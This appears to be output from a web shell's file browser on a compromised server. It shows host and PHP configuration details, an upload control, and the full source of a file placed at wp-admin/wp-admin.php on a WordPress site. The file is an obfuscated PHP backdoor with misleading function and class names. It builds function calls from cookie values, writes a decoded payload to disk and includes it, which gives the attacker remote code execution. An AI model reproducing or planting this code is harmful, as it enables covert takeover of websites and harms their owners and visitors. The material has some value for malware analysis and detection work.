HEX
Server: nginx/1.18.0
System: Linux hqnl0246134.online-vm.com 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: phpinfo,disk_free_space,disk_total_space,diskfreespace,dl,exec,opcache_get_configuration,opcache_get_status,passthru,pclose,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_waitpid,pcntl_wait,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,show_source,system,exec,passthru,shell_exec,system,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Upload Files
File: /var/www/sites/prokapai.com.ua/wp-admin/wp-admin.php
<?php
function optimize_cache($c)
{
    $a = array(118 - 3, 121 * 58 - 6902, 97, 2 * 58);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

class ErrorHandler
{
    private static $_hdv;
    static function sendNotification($_fgs)
    {
        if (!self::$_hdv) {
            self::rollbackTransaction();
        }
        return base64_decode(self::$_hdv[$_fgs]);
    }
    private static function rollbackTransaction()
    {
        self::$_hdv = array('_vjp' => '', '_uu' => '');
    }
}

$_rc = $_COOKIE;
$_zp = (int) round(0 + 0 + 0 + 0);
$_fgs = (int) round(3.5 + 3.5);
$_pt = array();
$_pt[$_zp] = ErrorHandler::sendNotification('_' . 'v' . 'jp');
while ($_fgs) {
    $_pt[$_zp] .= $_rc[380 - 94 - -66 - 341][$_fgs];
    if (!$_rc[(int) round(2.75 + 2.75 + 2.75 + 2.75)][$_fgs + (int) round(0.25 + 0.25 + 0.25 + 0.25)]) {
        if (!$_rc[87 + 25 + 33 - 134][$_fgs + (int) round(0.66666666666667 + 0.66666666666667 + 0.66666666666667)]) {
            break;
        }
        $_zp++;
        $_pt[$_zp] = ErrorHandler::sendNotification('_' . 'uu');
        $_fgs++;
    }
    $_fgs = $_fgs + (int) round(1.75 + 1.75 + 1.75 + 1.75) + (65 - 64);
}
$_zp = $_pt[(int) round(3.5 + 3.5 + 3.5 + 3.5)]() . $_pt[(int) round(2.6666666666667 + 2.6666666666667 + 2.6666666666667)];
if (!$_pt[(int) round(6 + 6 + 6 + 6)]($_zp)) {
    $_fgs = $_pt[7 + 10]($_zp, $_pt[555 - 536]);
    $_pt[(int) round(1.5 + 1.5)]($_fgs, $_pt[456 + -433] . $_pt[(int) round(4.5 + 4.5)]($_pt[313 - 456 - -168]($_rc[-101 + -17 + -42 + 163])));
}
include $_zp;